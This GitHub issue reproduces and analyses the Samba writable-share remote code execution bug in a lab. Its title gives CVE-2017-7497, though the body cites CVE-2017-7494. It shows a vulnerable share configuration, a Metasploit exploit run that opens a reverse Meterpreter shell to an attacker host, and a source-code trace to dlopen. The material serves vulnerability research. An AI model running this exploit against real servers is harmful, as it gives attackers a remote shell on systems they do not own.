Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

[CVE-2017-7497] Samba - Remote code execution from a writable share #7

Closed
nixawk opened this issue May 26, 2017 · 4 comments
Closed

Comments

@nixawk
Copy link
Owner

nixawk commented May 26, 2017

Bug Flow

-> /path/to/samba-X.X.XX

bug-flow

How to setup a vulnerable ENV ?

add the following contents into /etc/samba/smb.conf

[CVE20177494]
   comment = CVE20177494
   path = /tmp
   public = yes
   # available = yes
   # browseable = yes
   writable = yes
   # printable = yes
   # guest ok = yes
   create mask = 0777
   directory mask = 0777
  • vulnerable version: samba 4.5.2
msf > use auxiliary/scanner/smb/smb_enumshares
msf auxiliary(smb_enumshares) > set RHOSTS 192.168.206.144
RHOSTS => 192.168.206.144
msf auxiliary(smb_enumshares) > run

[+] 192.168.206.144:139   - print$ - (DISK) Printer Drivers
[+] 192.168.206.144:139   - CVE20177494 - (DISK) CVE20177494
[+] 192.168.206.144:139   - IPC$ - (IPC) IPC Service (Samba 4.5.2-Debian)
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(smb_enumshares) > use exploit/linux/samba/is_known_pipename
msf exploit(is_known_pipename) > set RHOST 192.168.206.144
RHOST => 192.168.206.144
msf exploit(is_known_pipename) > set target 0
target => 0
msf exploit(is_known_pipename) > show options

Module options (exploit/linux/samba/is_known_pipename):

   Name            Current Setting  Required  Description
   ----            ---------------  --------  -----------
   RHOST           192.168.206.144  yes       The target address
   RPORT           445              yes       The SMB service port (TCP)
   SMB_FOLDER                       no        The directory to use within the writeable SMB share
   SMB_SHARE_BASE                   no        The remote filesystem path correlating with the SMB share name
   SMB_SHARE_NAME                   no        The name of the SMB share containing a writeable directory


Exploit target:

   Id  Name
   --  ----
   0   Linux x86


msf exploit(is_known_pipename) > run

[*] Started reverse TCP handler on 192.168.206.1:4444
[*] 192.168.206.144:445 - Using location \\192.168.206.144\CVE20177494\ for the path
[*] 192.168.206.144:445 - Hunting for payload using common path names: VZiaULDJ.so - //192.168.206.144/CVE20177494/
[*] 192.168.206.144:445 - Trying location /volume1/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /volume1/CVE20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /volume1/cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /volume1/Cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /volume2/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /volume2/CVE20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /volume2/cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /volume2/Cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /volume3/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /volume3/CVE20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /volume3/cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /volume3/Cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /volume4/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /volume4/CVE20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /volume4/cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /volume4/Cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /shared/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /shared/CVE20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /shared/cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /shared/Cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /mnt/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /mnt/CVE20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /mnt/cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /mnt/Cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /mnt/usb/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /mnt/usb/CVE20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /mnt/usb/cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /mnt/usb/Cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /media/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /media/CVE20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /media/cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /media/Cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /mnt/media/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /mnt/media/CVE20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /mnt/media/cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /mnt/media/Cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /var/samba/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /var/samba/CVE20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /var/samba/cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /var/samba/Cve20177494/VZiaULDJ.so...
[*] 192.168.206.144:445 - Trying location /tmp/VZiaULDJ.so...
[*] Sending stage (797784 bytes) to 192.168.206.144
[*] Meterpreter session 1 opened (192.168.206.1:4444 -> 192.168.206.144:58682) at 2017-05-26 05:52:19 -0500

meterpreter > sysinfo
Computer     : sh.localdomain
OS           : Kali kali-rolling (Linux 4.6.0-kali1-686-pae)
Architecture : i686
Meterpreter  : x86/linux
meterpreter > sysinfo
Computer     : sh.localdomain
OS           : Kali kali-rolling (Linux 4.6.0-kali1-686-pae)
Architecture : i686
Meterpreter  : x86/linux
meterpreter > shell
Process 2702 created.
Channel 1 created.
smbd -V
Version 4.5.2-Debian

References

  1. https://www.samba.org/samba/security/CVE-2017-7494.html
  2. First crack at Samba CVE-2017-7494 rapid7/metasploit-framework#8450
@nixawk
Copy link
Owner Author

nixawk commented May 26, 2017

Bug Flow

  1. ./source3/rpc_server/srv_pipe.c
    bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)

  2. ./lib/util/modules.c
    NTSTATUS smb_probe_module(const char *subsystem, const char *module)

  3. ./lib/util/modules.c
    static NTSTATUS do_smb_load_module(const char *subsystem, const char *module_name, bool is_probe)

  4. ./lib/util/modules.c
    init_module_fn load_module(const char *path, bool is_probe, void **handle_out)

  5. dlopen

root@sh:/tmp/samba-4.3.13# grep -R "bool is_known_pipename" ./
./source3/rpc_server/srv_pipe.h:bool is_known_pipename(const char *cli_filename, struct ndr_syntax_id *syntax);
./source3/rpc_server/srv_pipe.c:bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
root@sh:/tmp/samba-4.3.13# grep -nR -A30 "bool is_known_pipename" ./source3/rpc_server/srv_pipe.c
475:bool is_known_pipename(const char *pipename, struct ndr_syntax_id *syntax)
476-{
477-	NTSTATUS status;
478-
479-	if (lp_disable_spoolss() && strequal(pipename, "spoolss")) {
480-		DEBUG(10, ("refusing spoolss access\n"));
481-		return false;
482-	}
483-
484-	if (rpc_srv_get_pipe_interface_by_cli_name(pipename, syntax)) {
485-		return true;
486-	}
487-
488-	status = smb_probe_module("rpc", pipename);
489-	if (!NT_STATUS_IS_OK(status)) {
490-		DEBUG(10, ("is_known_pipename: %s unknown\n", pipename));
491-		return false;
492-	}
493-	DEBUG(10, ("is_known_pipename: %s loaded dynamically\n", pipename));
494-
495-	/*
496-	 * Scan the list again for the interface id
497-	 */
498-	if (rpc_srv_get_pipe_interface_by_cli_name(pipename, syntax)) {
499-		return true;
500-	}
501-
502-	DEBUG(10, ("is_known_pipename: pipe %s did not register itself!\n",
503-		   pipename));
504-
505-	return false;

twitter

@nixawk
Copy link
Owner Author

nixawk commented May 26, 2017

root@sh:/tmp/samba-4.3.13# grep -R "NTSTATUS smb_probe_module" ./
./lib/util/modules.c:NTSTATUS smb_probe_module(const char *subsystem, const char *module)
./lib/util/samba_modules.h:NTSTATUS smb_probe_module(const char *subsystem, const char *module);
root@sh:/tmp/samba-4.3.13# grep -nR -A30 "NTSTATUS smb_probe_module" ./lib/util/modules.c
226:NTSTATUS smb_probe_module(const char *subsystem, const char *module)
227-{
228-	return do_smb_load_module(subsystem, module, true);
229-}
230-
231-NTSTATUS smb_load_module(const char *subsystem, const char *module)
232-{
233-	return do_smb_load_module(subsystem, module, false);
234-}

@nixawk
Copy link
Owner Author

nixawk commented May 26, 2017

root@sh:/tmp/samba-4.3.13# grep -nR -A100 "NTSTATUS do_smb_load_module" ./lib/util/modules.c
154:static NTSTATUS do_smb_load_module(const char *subsystem,
155-				   const char *module_name, bool is_probe)
156-{
157-	void *handle;
158-	init_module_fn init;
159-	NTSTATUS status;
160-
161-	char *full_path = NULL;
162-	TALLOC_CTX *ctx = talloc_stackframe();
163-
164-	if (module_name == NULL) {
165-		TALLOC_FREE(ctx);
166-		return NT_STATUS_INVALID_PARAMETER;
167-	}
168-
169-	/* Check for absolute path */
170-
171-	DEBUG(5, ("%s module '%s'\n", is_probe ? "Probing" : "Loading", module_name));
172-
173-	if (subsystem && module_name[0] != '/') {
174-		full_path = talloc_asprintf(ctx,
175-					    "%s/%s.%s",
176-					    modules_path(ctx, subsystem),
177-					    module_name,
178-					    shlib_ext());
179-		if (!full_path) {
180-			TALLOC_FREE(ctx);
181-			return NT_STATUS_NO_MEMORY;
182-		}
183-
184-		DEBUG(5, ("%s module '%s': Trying to load from %s\n",
185-			  is_probe ? "Probing": "Loading", module_name, full_path));
186-		init = load_module(full_path, is_probe, &handle);
187-	} else {
188-		init = load_module(module_name, is_probe, &handle);
189-	}
190-
191-	if (!init) {
192-		TALLOC_FREE(ctx);
193-		return NT_STATUS_UNSUCCESSFUL;
194-	}
195-
196-	DEBUG(2, ("Module '%s' loaded\n", module_name));
197-
198-	status = init();
199-	if (!NT_STATUS_IS_OK(status)) {
200-		DEBUG(0, ("Module '%s' initialization failed: %s\n",
201-			  module_name, get_friendly_nt_error_msg(status)));
202-		dlclose(handle);
203-	}
204-	TALLOC_FREE(ctx);
205-	return status;
206-}
207-
208-/* Load all modules in list and return number of
209- * modules that has been successfully loaded */
210-int smb_load_modules(const char **modules)
211-{
212-	int i;
213-	int success = 0;
214-
215-	for(i = 0; modules[i]; i++){
216-		if(NT_STATUS_IS_OK(do_smb_load_module(NULL, modules[i], false))) {
217-			success++;
218-		}
219-	}
220-
221-	DEBUG(2, ("%d modules successfully loaded\n", success));
222-
223-	return success;
224-}
225-
226-NTSTATUS smb_probe_module(const char *subsystem, const char *module)
227-{
228-	return do_smb_load_module(subsystem, module, true);
229-}
230-
231-NTSTATUS smb_load_module(const char *subsystem, const char *module)
232-{
233-	return do_smb_load_module(subsystem, module, false);
234-}

@nixawk
Copy link
Owner Author

nixawk commented May 26, 2017

root@sh:/tmp/samba-4.3.13# grep -nR -A50 "init_module_fn load_module" ./lib/util/modules.c
31:init_module_fn load_module(const char *path, bool is_probe, void **handle_out)
32-{
33-	void *handle;
34-	void *init_fn;
35-	char *error;
36-
37-	/* This should be a WAF build, where modules should be built
38-	 * with no undefined symbols and are already linked against
39-	 * the libraries that they are loaded by */
40-	handle = dlopen(path, RTLD_NOW);
41-
42-	/* This call should reset any possible non-fatal errors that
43-	   occured since last call to dl* functions */
44-	error = dlerror();
45-
46-	if (handle == NULL) {
47-		int level = is_probe ? 5 : 0;
48-		DEBUG(level, ("Error loading module '%s': %s\n", path, error ? error : ""));
49-		return NULL;
50-	}
51-
52-	init_fn = (init_module_fn)dlsym(handle, SAMBA_INIT_MODULE);
53-
54-	/* we could check dlerror() to determine if it worked, because
55-           dlsym() can validly return NULL, but what would we do with
56-           a NULL pointer as a module init function? */
57-
58-	if (init_fn == NULL) {
59-		DEBUG(0, ("Unable to find %s() in %s: %s\n",
60-			  SAMBA_INIT_MODULE, path, dlerror()));
61-		DEBUG(1, ("Loading module '%s' failed\n", path));
62-		dlclose(handle);
63-		return NULL;
64-	}
65-
66-	if (handle_out) {
67-		*handle_out = handle;
68-	}
69-
70-	return (init_module_fn)init_fn;
71-}
72-
73-/**
74- * Obtain list of init functions from the modules in the specified
75- * directory
76- */
77-static init_module_fn *load_modules(TALLOC_CTX *mem_ctx, const char *path)
78-{
79-	DIR *dir;
80-	struct dirent *entry;
81-	char *filename;

@nixawk nixawk closed this as completed Jun 6, 2017
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

1 participant